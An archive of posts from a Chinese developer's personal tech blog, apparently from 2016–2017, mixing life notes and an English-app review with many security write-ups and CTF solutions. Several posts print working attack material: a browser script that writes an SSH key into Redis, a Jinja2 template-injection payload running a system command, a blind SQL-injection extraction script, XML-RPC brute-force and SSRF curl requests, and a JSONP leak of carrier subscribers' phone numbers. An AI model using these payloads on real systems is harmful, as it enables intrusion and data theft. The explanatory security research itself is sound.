最好的八月留给了北京~这也是第二次在北京看演唱会。那天下午下了大雨，还以为晚上要取消了，结果临近傍晚就不下了。

最近写后端遇到的几个问题

Sun, 23 Apr 2017 07:54:33 +0000

数据库 id 字段溢出

某个系统，突然数据库无法插入数据，报错如下

1[2017-04-22 23:17:55] - [ERROR] - [utils.api.api:146] - integer out of range
2Traceback (most recent call last):
3 File "/usr/local/lib/python3.5/dist-packages/django/db/backends/utils.py", line 64, in execute
4 return self.cursor.execute(sql, params)
5psycopg2.DataError: integer out of range

然后表结构是这样的

1user=# select * from acl_ip_data_id_seq;
2 sequence_name | last_value | start_value | increment_by | max_value | min_value | cache_value | log_cnt | is_cycled | is_called 
3--------------------+------------+-------------+--------------+---------------------+-----------+-------------+---------+-----------+-----------
4 acl_ip_data_id_seq | 2147550630 | 1 | 1 | 9223372036854775807 | 1 | 1 | 7 | f | t
5(1 row)

看到21亿这个数字很熟悉，是 int 最大值，怀疑是数据库 id 字段达到了最大值，无法继续增长了。

前端 MVVM 框架可能出现的安全问题

Sun, 02 Apr 2017 00:32:00 +0000

这些年，AngularJS、React 和 Vue.js 算是前端框架中比较热门的，相对于 jQuery 等框架，有一些不太一样的可能出现问题的点，当然都是集中在 XSS 上。

模板注入

类似后端模板注入，前端模板注入也是存在的，被分析最多的还是 AngularJS，详见 https://docs.angularjs.org/guide/security

首先是后端直接生成前端模板，比如 {% raw %}{{1+1}}{% endraw %}，然后 AngularJS 去解析和执行。

其次是前端部分表达式和表达式 parser 的参数可以被控制，比如 $watch(userContent, ...) $compile(userContent)

之前的 AngularJS 是有沙箱的，隔离了部分 runtime context，但是最新版本中去除了，因为多次的被绕过，而且并没有真正的提升安全性。

在其他框架中也是存在类似的问题的，比如 Vue.js 这里有一个有趣的案例 https://inside.pixiv.blog/kobo/5962

直接插入 HTML

MVVM框架一般不需要关心 dom 操作，但是有时候还必须手动的插入和控制一些 HTML，框架也是提供了相关的方法的。

Vue.js 的 {% raw %}{{{ data }}}{% endraw %} 和 v-html
AngularJS 的 $sce.trustAsHtml
React 的 dangerouslySetInnerHTML

这时候就应该认真检查用户输入的数据了。

我感觉 AngularJS 和 React 的函数名字设计的特别科学，你要知道 trust 那些 dangerous 的数据才可以，还比如 grpc 中，使用非 SSL 的时候，方法名是add_insecure_port。

英语流利说-懂你英语使用感受

Fri, 06 Jan 2017 00:22:00 +0000

一个偶然的机会接触到了英语流利说，很惊喜，可以通过自动化的语音识别来标注发音情况。

根据一些资料，英语流利说是使用了离线的神经网络语音识别，因为已知正确的文本和发音，只需要将用户的发音尽量和已知文本上对齐就好了，也就是GOP算法。

英语流利说课程分两大部分，一个是独立的小课程，比如"排名前十的旅行问题"、"不做学霸做面霸"，每个课程分为几十个关卡，每个关卡讲一个小问题，大约10分钟之内就可以搞定一个。另一部分就是懂你英语了，也是本文重点说的。

开始购买了一个月的懂你英语，之后购买了半年。价格是单月购买99元，半年499元。因为是机器语音识别，感觉利润率还是挺高的。

在课程结束的时候，如果你的学习效率和平均得分达到90，总计学习时间达到90小时，是可以全额退还学费的。我一开始学习的时候，学习效率是60，目前已经达到了80多。平均得分倒一直是90多分左右，两个月内学习时间是57个小时。

优点

比免费的课程要质量高一些，更系统一些。
有一个学习群，有班主任，每天提出一个话题来讨论，同时公布前一天大家的学习情况，有竞争的感觉。而且有时候会有活动，比如三个人连续三天都学习超过半小时，可以延长课程时间或者赠送付费课程等。
卡片式任务，已经有不少app使用这种设计了，将一个整体划分为系统性的小任务，每天都会有清晰的目标。一个Level一般包括4个Unit，每个Unit包括4个卡片，每个卡片上有6个Lesson。包括Listening，Vocabulary，Dialogue，Reading，Matching, Grammar，Speaking，Dictation等类型。基本上一个Lesson认真的学习要花费一个小时左右的时间（部分练习性质的除外），包括逐句的录音和完成Lesson中的题目。

打卡，数据统计等对于安排学习和了解学习效果很有帮助。
确实有"沉浸式的英语学习体验"
难度控制的不错，我从Level 3开始学的，现在在准备Level 4的考试。通过考试才能进入下一个Level。总体来说，难度有所增加，但是变化很平缓。

要吐槽的也有一些

iOS app bug有点多，集中在各种奇怪的加载失败，进度不同步，切换动画卡死。拼写题在搜狗输入法下完全不能用，正确的填写也是提示错误，而且各种卡顿和输入法跳来跳去，使用原生输入法才可以。有些计时录音的句子，录出来的丢头丢尾。
班主任之间差别也非常大，有的班主任感觉对我们特别好，每天在群里比较活跃，交流很多东西，有时候间隔几天没有学习也会主动的来找你问。而有的个班主任，每天就是简单的公布一下学习情况和讨论话题就基本结束了，也不是经常参与我们的讨论。
班主任发的每日一句之类的并没有什么用处。
对于Level 4，Speaking需要拿到至少三星，其他必须满分四星（得分率大于95%）才能参加考试。这个还是挺有难度的。虽然个别情况下也可以找班主任解锁参加考试，但是对于我来说，我真的不是特别追求每个Lesson都非常完美，否则花费的时间就太多了。
金币兑换模块实在是太low了，帮助各种垃圾app做推广，还好不太显眼，一般不会点进去。看看人家扇贝商城，至少还是些有用的东西。https://shop108363553.taobao.com/

疑惑

免费课程是照着句子读，然后显示纠正结果，但是懂你英语的理念是无文本，没有字幕的，虽然可以跟读和录音，读的好可以拿到一个金币，但是并看不到哪里读的不好。有些句子在后面跟读练习的时候可以看到文本，但是看不到的而且实在听不出来的就只能放弃。同时这里的拿到一个金币与后面练习中的录音拿到90+的门槛差别太大了。也直接影响了每个Lesson的得分。建议是句子跟读超过五遍就应该显示文本了。(目前4.4版本增加了单词功能，该问题略有改善）
怎么去评价学习了懂你英语之后的效果？因为学习的时候，练习和口语水平测试都是课程中的句子，这样会不会让人的思维限制在了已有的课程上？
流利说对于简单单词匹配的特别严格，比如an、the之类的，而对已长一些的单词，有时候读的有个别错误也没有发现。感觉是训练数据的问题，简单单词训练的比较多。比如下图。而且怀疑部分数字类型的数据标注的位置不太对，比如1%或者1960s这种，怎么读就是标红。

收获

英语水平肯定是有提高的，但是具体提高了多少，怎么去衡量，就是"疑惑"中的第二个问题
认识了五个小伙伴，组成一个小群。从大学生到工作党到家庭主妇，共同的特点就是都学习非常努力，有的是工作压力，有的是为了给孩子树立榜样同时教孩子学习。群里每天至少学习打卡半小时，否则要发红包的。有时候也会聊学习经验，生活等等各种话题。
购买了梦想板课程，虽然略贵，但是有收获就是值得的~

Update:

4.12 博主已经成功的退学费。最后效率不太够，我疯狂学习了几天 Level 1 和 2 的课程，然后成长量超高，就很快达标了。
4.15 新更新的5.0版本真是丑爆了，首页太杂乱

Python 模板字符串与模板注入

Sun, 01 Jan 2017 18:48:00 +0000

这几年比较火的一个漏洞就是 jinjia2 之类的模板引擎的注入，通过注入模板引擎的一些特定的指令格式，比如{% raw %}{{1+1}}{% endraw %}而返回了2得知漏洞存在。实际类似的问题在 Python 原生字符串中就存在，尤其是Python 3.6新增 f 字符串后，虽然利用还不明确，但是应该引起注意。

最原始的`%`

1userdata = {"user" : "jdoe", "password" : "secret" }
2passwd = raw_input("Password: ")
3
4if passwd != userdata["password"]:
5 print ("Password " + passwd + " is wrong for user %(user)s") % userdata

如果用户输入 %(password)s 那就可以获取用户的真实密码了。

除了上面的 payload 改写为print ("Password " + passwd + " is wrong for user {user}").format(**userdata)之外，还可以

1>>> import os
2>>> '{0.system}'.format(os)
3'<built-in function system>'

会先把0替换为format中的参数，然后继续获取相关的属性。

但是貌似只能获取属性，不能执行方法？但是也可以获取一些敏感信息了。

例子: http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/

 1CONFIG = {
 2 'SECRET_KEY': 'super secret key'
 3}
 4
 5class Event(object):
 6 def __init__(self, id, level, message):
 7 self.id = id
 8 self.level = level
 9 self.message = message
10
11def format_event(format_string, event):
12 return format_string.format(event=event)

如果 format_string 为 {event.__init__.__globals__[CONFIG][SECRET_KEY]} 就可以泄露敏感信息。

2017

Sat, 31 Dec 2016 20:39:00 +0000

2015年经历的太多，而又不想写出来。

2016年看似风平浪静，其实可能还有更大的考验在等着。

2016年“重大”事件记录

6月份之前，借助之前的一个开源项目写了毕业论文，顺便当做说明书用。第一次用 $\LaTeX$ ，一个让人又爱又恨的语言。当然答辩之类的都是小意思，水水就过了。
毕业，离开青岛的日子，最怀念的还是青岛的环境和空气，还有大海。

（刚毕业就两个结婚的了，2333，羡慕和祝福）

考驾照，用时不到两个月，科目一是90多分，其他都是满分。
正式入职长亭，一家年轻有活力的公司。作为公司最弱最水的程序员，要向各位师傅大佬们学习才行。
去看了五月天音乐会，没错，就是上面的照片上最右边的家伙天天在宿舍用五月天的歌弹吉他，才让我喜欢上的。总结帖 /index.php/archives/752/
第一次合租，第一次去xx地方玩，第一次接触xx技术就略而不谈了

2017 展望

计划拿出一些钱重点学习英语之类的技能，除了写代码也得多接触一些其他行业的人和事情。
学习数学和一切还不会的计算机知识（以后会有更详细的规划）
培养更强的思维能力
锻炼身体

夫夷以近，则游者众；险以远，则至者少。而世之奇伟、瑰怪，非常之观，常在于险远，而人之所罕至焉，故非有志者不能至也。

Hello, 2017~

PWNHUB Web第一题writeup

Mon, 05 Dec 2016 20:04:00 +0000

题目地址 http://54.223.46.206:8003/

首先在HTTP头中可以看到 Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2，引用的站内资源只有一个js，然后回想起ph师傅的写过的Python Web安全的文章还有 http://www.lijiejie.com/python-django-directory-traversal/ ，发现在处理静态文件的时候有一个任意文件读取，但是任何.py结尾的文件都会提示403，其他的不会，考虑读取pyc，看了下自己的Django项目，Python 3.5的pyc都是在一个__pycache__目录中的，然后是xxx.cpython-35.pyc的文件名。

Django 是一个 MVC 框架，默认的主要代码都在 models.py 和 views.py，成功的得到 pyc。然后使用 unpyc3 得到了源码。

核心代码如下

 1class StaticFilesView(generic.View):
 2 content_type = 'text/plain'
 3
 4 def get(self, request, *args, **kwargs):
 5 filename = self.kwargs['path']
 6 # 任意文件读取就是这里
 7 filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
 8 (name, ext) = os.path.splitext(filename)
 9 if ext in ('.py', '.conf', '.sqlite3', '.yml'):
10 raise exceptions.PermissionDenied('Permission deny')
11 try:
12 return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
13 except BaseException as e:
14 raise Http404('Static file not found')
15 
16class LoginView(JsonResponseMixin, generic.TemplateView):
17	template_name = 'login.html'
18	def post(self, request, *args, **kwargs):
19		data = json.loads(request.body.decode())
20		stu = models.Student.objects.filter(**data).first()
21		if not stu or stu.passkey != data['passkey']:
22			return self._jsondata('', 403)
23		else:
24			request.session['is_login'] = True
25			return self._jsondata('', 200)
26
27class Student(models.Model):
28 name = models.CharField('姓名', max_length=64, unique=True)
29 no = models.CharField('学号', max_length=12, unique=True)
30 passkey = models.CharField('密码', max_length=32)
31 group = models.ForeignKey('Group', verbose_name='所属班级', on_delete=models.CASCADE, null=True, blank=True)
32
33
34class Group(models.Model):
35 name = models.CharField('班级名', max_length=64)
36 information = models.TextField('介绍')
37 secret = models.CharField('内部信息', max_length=128)
38 created_time = models.DateTimeField('创建时间', auto_now_add=True)

可以看到直接将用户发送的数据作为 filter 的条件传递了，如果用户存在，而 data 中没有 passkey 就会造成 500，如果用户不存在就会403，所以可以使用 Django 中的 like 查询。它的特点就是字段名后面添加两个下划线，接着才是搜索条件，可以作为参数传给 filter。

Django CSRF 防护绕过漏洞分析

Tue, 27 Sep 2016 13:28:00 +0000

原始漏洞链接 https://hackerone.com/reports/26647

Google Analytics 会设置这样的 Cookie 来追踪用户访问

1__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

比如

1__utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/path/

用户可以完全控制 referer 中的 path，然后在放入__utmz的时候没有过滤

一个正常的Cookie是这样子的 Cookie: param1=value1; param2=value2;
但是很多 web server 也可以接收使用逗号分隔的

1Cookie: param1=value2, param2=value2
2Cookie: param1=value2,param2=value2

Python 和 Django 使用了不正确的正则表达式来 parse Cookie，导致用户也可以使用[]来作为分隔符 Cookie: param1=value1]param2=value2

参考

例子

1 >>> from http import cookies
2 >>> C = cookies.SimpleCookie()
3 >>> C.load('__utmz=blah]csrftoken=x')
4 >>> C
5 <SimpleCookie: csrftoken='x'>

除了 Safari 之外，其他的浏览器都可以在 Cookie value 中使用空格、逗号和[]字符。

而且 Chrome 只可以处理有限的 Cookie 属性，比如

Just Rock It 2016

Mon, 29 Aug 2016 19:37:00 +0000

大量高清原图和视频，流量党谨慎点开

第一次听五月天的歌应该就是在大一了，某舍友弹吉他会的为数不多的曲子之一。

四年后，五月天在北京鸟巢开演唱会，我也毕业了工作了，就热情满满的去参加了~

Redis和SSRF

Wed, 20 Jul 2016 17:57:00 +0000

你以为bind了127.0.0.1就安全了么？

本地写文件

这个爆出来很久了。原理就是利用Redis的数据持久化。设置持久化文件的名称和路径，然后在Redis中写入文件内容，给Redis发送持久化的命令，这样Redis就会将数据库的内容写入执行的文件了。详细参考 http://blog.nsfocus.net/redis-unauthorized-ssh-free-password-vulnerabilities-fixes/

这个并不一定需要SSRF，如果Redis未授权访问的，那同样可以利用。

利用点

写$Home/.ssh/authorized_keys，root用户就是/root，其他用户需要猜测或者遍历用户名。
写/var/spool/cron，然后crontab定期执行，因为Redis持久化的数据可能包含其他的数据，所以写入的文件可能有一些垃圾信息，但是crontab对格式要求比较松，避免先去flushall Redis。
写webshell，但是得已知路径
slave of $IP 主从模式利用
写/etc/profile.d/用户环境变量
AOF类型持久化，和RDB持久化类似，但是是纯文本的格式

Redis中数据和web应用的结合

如果控制了Redis中的数据，很多时候和直接控制了数据库是一样的，可以有针对性的修改数据。参考 https://www.seebug.org/vuldb/ssvid-91879 在Redis中更改了全局变量的值，导致任意代码执行。里面有对gopher协议的利用，参考 https://blog.chaitin.com/gopher-attack-surfaces/

Redis Lua Sandbox Escape

详情见 http://benmmurphy.github.io/blog/2015/06/04/redis-eval-lua-sandbox-escape/

利用了Redis的Lua支持，但是Redis的Lua是有sandbox的，不能执行任意的代码，怎么去尝试绕过？

https://gist.github.com/corsix/6575486 实现的了三个功能

读取TValue结构体中的值
读取任意内存地址上的8个字节，可以导致基地址泄露
任意内存地址写8个字节

作者在多个系统和多个Redis上都测试通过，Redis已经修复这个问题 https://groups.google.com/forum/#!msg/redis-db/4Y6OqK8gEyk/Dg-5cejl-eUJ

SSRF和CSRF结合体看网页也能被拿shell

今天看到老外发了一个脑洞，https://ericrafaloff.com/client-side-redis-attack-poc/ 使用ajax直接给Redis发送请求，也利用的是Redis的Lua支持，原文中的Demo被我修改为写入ssh公钥的，当然上面提到的其他攻击方法都可以使用。

1var keydir = "/root/.ssh";
2var cmd = new XMLHttpRequest();
3cmd.open("POST", "http://127.0.0.1:6379");
4cmd.send('eval \'' + 'redis.call(\"set\", \"hacked\", "\\r\\n\\nssh-rsa AAAAB... virusdefender@LiYangs-MacBook-Pro.local\\n\\n\\n\\n\"); redis.call(\"config\", \"set\", \"dir\", \"' + keydir + '/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"authorized_keys\"); ' + '\' 0' + "\r\n");
5
6var cmd = new XMLHttpRequest();
7cmd.open("POST", "http://127.0.0.1:6379");
8cmd.send('save\r\n');

在这里有一个最大的限制就是浏览器跨域请求的问题，根据 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS 简单请求是可以直接跨域发送的，但是无法收到响应，简单请求的定义如下

只使用 GET, HEAD 或者 POST 请求方法。如果使用 POST 向服务器端传送数据，则数据类型(Content-Type)只能是 application/x-www-form-urlencoded, multipart/form-data 或 text/plain中的一种。

Python urllib HTTP头注入漏洞

Fri, 17 Jun 2016 19:34:00 +0000

已经发在了乌云知识库 http://drops.wooyun.org/papers/16905

总览

Python的urllib库（在Python2中为urllib2，在Python3中为urllib）有一个HTTP协议下的协议流注入漏洞。如果攻击者可以控制Python代码访问任意URL或者让Python代码访问一个恶意的web server，那这个漏洞可能会危害内网服务安全。

问题在哪

HTTP协议解析host的时候可以接受百分号编码的值，解码，然后包含在HTTP数据流里面，但是没有进一步的验证或者编码，这就可以注入一个换行符。

 1#!/usr/bin/env python3
 2
 3import sys
 4import urllib
 5import urllib.error
 6import urllib.request
 7
 8url = sys.argv[1]
 9
10try:
11 info = urllib.request.urlopen(url).info()
12 print(info)
13except urllib.error.URLError as e:
14 print(e)

这段代码只是从命令行参数接收一个URL，然后去访问它。为了查看urllib获取的HTTP头，我们用一个nc来监听端口。

1nc -l -p 12345

在正常的代码中，我们可以这样访问

1./fetch3.py http://127.0.0.1:12345/foo

返回的HTTP头是

1GET /foo HTTP/1.1
2Accept-Encoding: identity
3User-Agent: Python-urllib/3.4
4Connection: close
5Host: 127.0.0.1:12345

然后我们使用恶意构造的地址

1./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

返回的HTTP头就是

1GET /foo HTTP/1.1
2Accept-Encoding: identity
3User-Agent: Python-urllib/3.4
4Host: 127.0.0.1
5X-injected: header
6x-leftover: :12345
7Connection: close

然后攻击者可以任意注入HTTP头了。

sql注入时case when ... then ... else ...end 的应用

Fri, 13 May 2016 18:37:00 +0000

在基于时间的盲注的时候，一般使用的是if语句，如果符合条件就sleep，但是部分不能使用逗号的场景下，还可以使用case when #condition then ... else ... end语句来代替if语句，参考http://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html。

某开源系统中

1$this->ip = mysqli_real_escape_string($mysqli,$_SERVER['REMOTE_ADDR']);
2if( !empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ){
3 $REMOTE_ADDR = $_SERVER['HTTP_X_FORWARDED_FOR'];
4 $tmp_ip=explode(',',$REMOTE_ADDR);
5 $this->ip = $tmp_ip[0];
6}

然后注入点在insert和update语句中。一个盲注场景，没有报错和回显。

这里在X-FORWARDED-FOR中按照逗号分隔取IP，而这个字段是用户可控的，需要不出现逗号，或者第一个逗号之前是完整的payload，所以这里不能使用if了，而是使用case语句代替。

当然mid函数也不能用了，需要替换为substr($string from $post for $length)的写法。

如果$string是sql语句，那就加一个括号。

然后可以按照 /index.php/archives/590/ 逐步的获取全部数据。

一个例子是1.1.1.1' and case when ord(substr((select username from db.table limit 1) from 1 for 1))=98 then sleep(2) else 1 end and '1.2.3.4

最终实现的代码是

 1# coding=utf-8
 2import time
 3import requests
 4
 5
 6url = "http://example.com/"
 7
 8
 9def get_info(sql):
10 print (sql, )
11 for position in range(1, 30):
12 for ord in range(32, 127):
13 start_time = time.time()
14 xff = "1.1.1.1' and case when ord(substr({sql} from {position} for 1))={ord} then sleep(3) else 1 end and '1.2.3.4".format(sql=sql, position=str(position), ord=ord)
15 # print(xff)
16 r = requests.get(url, headers={"X-FORWARDED-FOR": xff})
17 end_time = time.time()
18 if end_time - start_time > 2.9:
19 print (position, chr(ord))
20 break
21 # print (position, c)
22 else:
23 return
24
25#get_info("version()")
26#get_info("user()")
27#for i in range(2):
28# get_info("(select table_name from information_schema.tables where table_schema='ip_db' limit 1 offset {offset})".format(offset=i))
29
30#get_info("(select column_name from information_schema.columns where table_name='flag' and table_schema='ip_db' limit 1)")
31#get_info("(select flag from ip_db.flag limit 1)")

WordPress和Typecho xmlrpc漏洞

Wed, 20 Apr 2016 21:12:00 +0000

一般大家都关注WordPress，毕竟用户量巨大，而国内的Typecho作为轻量级的博客系统就关注的人并不多。Typecho有很多借鉴WordPress的，包括兼容的xmlrpc接口，而WordPress的这个接口爆出过多个漏洞，Typecho无一幸免。

账号密码爆破

WordPress的相关漏洞可以参考 https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/ 这个漏洞在Typecho上要危害稍微小一点，因为WordPress是有破解保护的，而这个接口可以绕过这个保护，Typecho并没有这个保护，只要暴露了后台地址就然并卵了。但是我采用了后台登录的两步验证，这个接口接口确实绕过了两步验证。

POC

1curl "https://example.com/action/xmlrpc" -d '<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>{USERNAME}</value></param><param><value>{PASSWORD}</value></param></params></methodCall>'

Ping back造成的dos和SSRF

WordPress会尝试去访问Ping back的url，可能会造成dos问题。参考http://www.acunetix.com/blog/articles/wordpress-pingback-vulnerability/

同时，没有对url进行校验，可以用来扫描内网。

WordPress后来修补了SSRF的问题，后来被绕过，前几天刚刚重新修复，见 http://xlab.baidu.com/wordpress/。但是Typecho没有任何过滤。

POC

1curl "https://example.com/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://victim.com</string></value></param><param><value><string>https://example.com/index.php/archives/732/</string></value></param></params></methodCall>'

看到了xml，还顺手测试了一把xxe，不过暂时没有发现这个问题。解析xml时候的本地拒绝服务是存在的，Inutio XML-RPC Library的问题，有两个CVE。

解决方案

nginx屏蔽此url

1if ($uri ~ ^/index.php/action/xmlrpc) {
2 return 403;
3}

运营商劫持造成的风险案例

Thu, 14 Apr 2016 16:36:00 +0000

山东移动在使用3/4G的时候，会在网页中插入一段js，然后在网页右下角显示一个流量球，显示你当前剩余流量，点击流量球还可以办理业务。

但是在使用jsonp查询的时候没有进行有效的安全校验，导致用户在使用3/4G的时候该接口可以被任意网页js调用，可以获取用户手机号码，当前已经办理的业务，当前的套餐情况，办理各种套餐等。当然这里除了对手机号打码之外也没有别的办法进行校验，毕竟是插入到别人的页面的，校验referer肯定不行。

获取手机号的poc

1var angular = {"callbacks": {"_y": function(data){console.log(data);alert(data.respparam.phoneNumber);}}};
2
3$.ajax({
4 url: "http://wap.toolbar.sd.chinamobile.com:8080/html/servicereq/queryMessageList?callback=angular.callbacks._y&csession=-1648015146&reqparam=%7B%22flag%22:%22-1%22,%22startNum%22:%221%22,%22number%22:%2210%22%7D&templateId=fullscreenbar",
5 method: "get",
6 dataType: "jsonp",
7 jsonp: "angular.callbacks._y",
8})

运营商劫持已经成为国内互联网安全隐患之一，越来越多的网站选择使用https来防范运营商劫持。使用CSP策略是暂时无法使用https的网站的临时解决方案。

根据 http://www.cnblogs.com/Kevin-Zhao/articles/5216686.html qq音乐全站使用了下面的CSP策略

1content-security-policy:script-src https: *.qq.com *.sinajs.cn *.gtimg.cn *.url.cn *.tenpay.com *.qpic.cn *.qpimg.cn *.idqqimg.com *.gtimg.com *.soso.com 'unsafe-inline' 'unsafe-eval'; report-uri http://qm.music.qq.com/report_csp

2016年02月21日一天内就有2,322,499次占1.63%的PV被拦截上报，统计如下

可见国内运营商劫持是多么的猖狂。

bctf 部分writeup

Mon, 21 Mar 2016 02:02:00 +0000

又是一个和ctf一起度过的疲惫的周末。

QAQ

一个留言板，提交之后可以看到部分内容被过滤了，包括on、script、img等，最终发现iframe标签没被过滤，而且可以利用的是src和srcdoc属性，srcdoc使用html实体编码绕过。其中我遇到一个坑，就是开始认为&也被过滤了，而实际上是我没进行url编码，导致burp识别错误。

主办方的机器人一直不太稳定，第二天才真正的开始做这个题，xss探测结果是后台在http://104.199.132.251/4dm1n/show.php，cookies没啥用，页面源码也是只个列表，也没啥用。后来看到提示，说可以探测内网，想起使用webrtc，参考 http://www.wooyun.org/bugs/wooyun-2014-076685。

0ctf部分write up

Mon, 14 Mar 2016 03:03:00 +0000

首先不得不说这场比赛题目水平还是相当相当高的，毕竟是0ops团队。

Monkey

What is Same Origin Policy?

The flag is at http://127.0.0.1:8080/secret After you submitted a url, a monkey will browse the url. The monkey will stay 2 minutes on your page. Try to find a string $str so that (substr(md5($str), 0, 6) === '54d7ed').

首先这个题要计算md5，每次刷新页面都会变的，其实6位的md5组合并不多，理论上是$16^6$个，所以先计算出一些，保存起来，每次到文件中查找就好了。

1import hashlib
2for i in xrange(1000000000):
3 print i, hashlib.md5(str(i)).hexdigest()

算了一会，觉得差不多了，就停了下来，生成了大约2G的文件。查询md5的时候，就使用cat md5.txt|grep xxxx。

然后下面域名随便写了自己的一个域名，查看log确实会有一个访问，UA是Mozilla/5.0 0ctf by md5_salt，但是题目上是要访问127.0.0.1才行。

如果将自己的页面上加入js ajax访问127.0.0.1，会因为同源策略被拦截，访问失败。如果想跨域发送请求，需要对方网站设置Access-Control-Allow-Origin，但是没办法收到响应。

现在唯一能控制的就是自己的域名，能不能让自己的域名在爬虫访问的时候是正常的ip，然后js执行的时候变成127.0.0.1呢，这样域名仍然是不变的既可以跨域了。

后来在提示下找到了DNS Rebinding这个方法，页面加载后使用setTimeout增加js执行时间，然后在这个过程中修改域名解析到127.0.0.1，这个就要求DNS的TTL要尽可能的小，才能尽快的生效，一直在用的CloudXNS可以设置60s的TTL，已经足够了。

jQuery选择器导致的xss问题

Tue, 08 Mar 2016 13:56:00 +0000

小伙伴发了某站的一个链接，xss payload在url的hash后面，然后页面弹框了，但是查看页面源代码，就只有jquery.js和jquery.fullpage.js，猜测是fullpage.js的问题，因为记得自己用fullpage.js的时候，hash部分会是#first、#second，然后切换页面的时候会变，可能是fullpage.js处理不当导致的。使用Chrome的调试工具发现还并不是这样的。

js经过压缩，这里的d就是jQuery的$，也就是说$("<img src=# onerror=alert(1)")就是可以弹框的，使用页面上的js发现确实是这样的。

觉得这个问题在哪见过，后来在evi1m0的博客找到了，确实是jQuery的问题，在fullpage.js的GitHub里面也有提到，jQuery的bug ticket是 https://bugs.jquery.com/ticket/9521 。

开发者的建议就是

I agree that developers need to be aware of any case where they are passing untrusted input to methods that can create HTML, such as $() or $().html() or the DOM's .innerHTML property for that matter. We cannot solve the problem inside jQuery because we cannot judge the trustworthiness of the string being passed.

innerHTML可能会产生xss，这个好理解，主要是很多人并不知道$()也可能创建HTML。

sctf中的两道模板注入

Sun, 28 Feb 2016 17:26:00 +0000

FlagMan

使用GitHub Oauth登录，然后页面上就可以显示你的GitHub头像、用户名、用户id。常见的思路都想过了，发现不行，后来看到登录页面有个隐藏的Powered by Flask，联想起最近的Jinjia2模板注入，应该是在GitHub的真实姓名的位置。

在 http://blog.knownsec.com/2016/02/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates/ 有一个POC

1{% for c in [].__class__.__base__.__subclasses__() %}
2{% if c.__name__ == 'catch_warnings' %}
3{{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
4{% endif %}
5{% endfor %}

原理就是Jinjia2中可以访问空列表，然后[].__class__.__base__是object，object的__subclasses__()就是所有继承object的类，依次类推，找到了一个导入了os模块的，然后取出来使用。如果能找到其他模块中导入了os也行，但是没有再去找。

麦岛麦岛~

Thu, 18 Feb 2016 08:23:00 +0000

麦岛位于青岛市市南区和崂山区交界处，背依浮山，南邻黄海。

全文有几十兆高清大图，流量党勿入。坚果手机拍摄。

开源的 OnlineJudge

Thu, 04 Feb 2016 01:07:00 +0000

qduoj 是青岛大学开源的一个 OnlineJudge，GitHub 地址 https://github.com/QingdaoU/OnlineJudge

acmer 常用的 oj 是 hduoj 、 poj 等等，但是有些不是很满意的地方。

首先是界面，国内的前辈 oj 大多数都很丑很丑， 10 多年前的风格，可能因为 oj 就是 10 多年前写的吧。

用起来也有些不是很方便的地方，比如提交题目要新开页面，要再选择题号，再手动刷新看结果。自己内部比赛有些规则也没办法去设置，自己没法去添加题目去查看测试用例等等。

当然，qduoj 的定位不仅仅是 ACM 训练，还有学校平时教学的作业考试等也可以在上面进行。老师作为普通管理员可以创建小组，相当于一个班级，内部举办比赛，创建修改题目，外人不可见，超级管理员才可以管理公开的题目和比赛。

oj 后端涉及到的技术有 Python 、 Django 、 Docker 、 MySQL 、 Redis 、 Celery 等，后台的前端是一个 SPA 页面，使用 avalon js 。

欢迎感兴趣的小伙伴搭建试用~

评论区

@Acmer_ly 2019-12-31

请问博主，本人想做一个OJ，不是引用开源的OJ，就是自己写一个OJ，如果博主有时间，能否告知一下，需要哪些技术呢，从底层沙箱到前端。小白非常感谢！
@小迷妹 2020-3-14

大神，我是冲着你的OJ文档看到的~ ~ ~

OnlineJudge 沙箱实现思路

Tue, 19 Jan 2016 21:23:00 +0000

有一个在线运行用户提交代码的功能，为了保证服务器安全，沙箱是必不可少的，主要是用来限制系统调用和资源消耗。

限制系统调用

目前常用的有 ptrace 和 seccomp。

ptrace 很惨

听说 ptrace 存在效率问题，可能会让你的代码运行时间增加很多，这个是可以简单测试看出来的。

而加载 seccomp 需要主动的在自己的代码中加载策略，也就是说需要修改已有的代码，但是去修改用户提交的代码是不大可能的。然后就想到了下面几个方法：

LD_PRELOAD hook

LD_PRELOAD加载动态链接库，然后在 so 中 hook __libc_start_main，然后就可以在用户的 main 函数前执行自己的代码了。但是如果在用户的代码中再定义__lbc_start_main函数就可以绕过，虽然网上有人说需要 -nostdlib 的编译参数，但是我实际测试并不需要。下面是沙箱的实现代码

 1#define _BSD_SOURCE // readlink
 2#include <dlfcn.h>
 3#include <stdlib.h> // exit
 4#include <string.h> // strstr, memset
 5#include <link.h> // ElfW
 6#include <errno.h> // EPERM
 7#include <unistd.h> // readlink
 8#include <seccomp.h>
 9#include <stdio.h>
10int syscalls_whitelist[] = {SCMP_SYS(read), SCMP_SYS(write), 
11 SCMP_SYS(fstat), SCMP_SYS(mmap), 
12 SCMP_SYS(mprotect), SCMP_SYS(munmap), 
13 SCMP_SYS(brk), SCMP_SYS(access), 
14 SCMP_SYS(exit_group)};
15typedef int (*main_t)(int, char **, char **);
16
17#ifndef __unbounded
18# define __unbounded
19#endif
20
21int __libc_start_main(main_t main, int argc, 
22 char *__unbounded *__unbounded ubp_av,
23 ElfW(auxv_t) *__unbounded auxvec,
24 __typeof (main) init,
25 void (*fini) (void),
26 void (*rtld_fini) (void), void *__unbounded
27 stack_end)
28{
29
30 int i;
31 ssize_t len;
32 void *libc;
33 int whitelist_length = sizeof(syscalls_whitelist) / sizeof(int);
34 scmp_filter_ctx ctx = NULL;
35 int (*libc_start_main)(main_t main,
36 int,
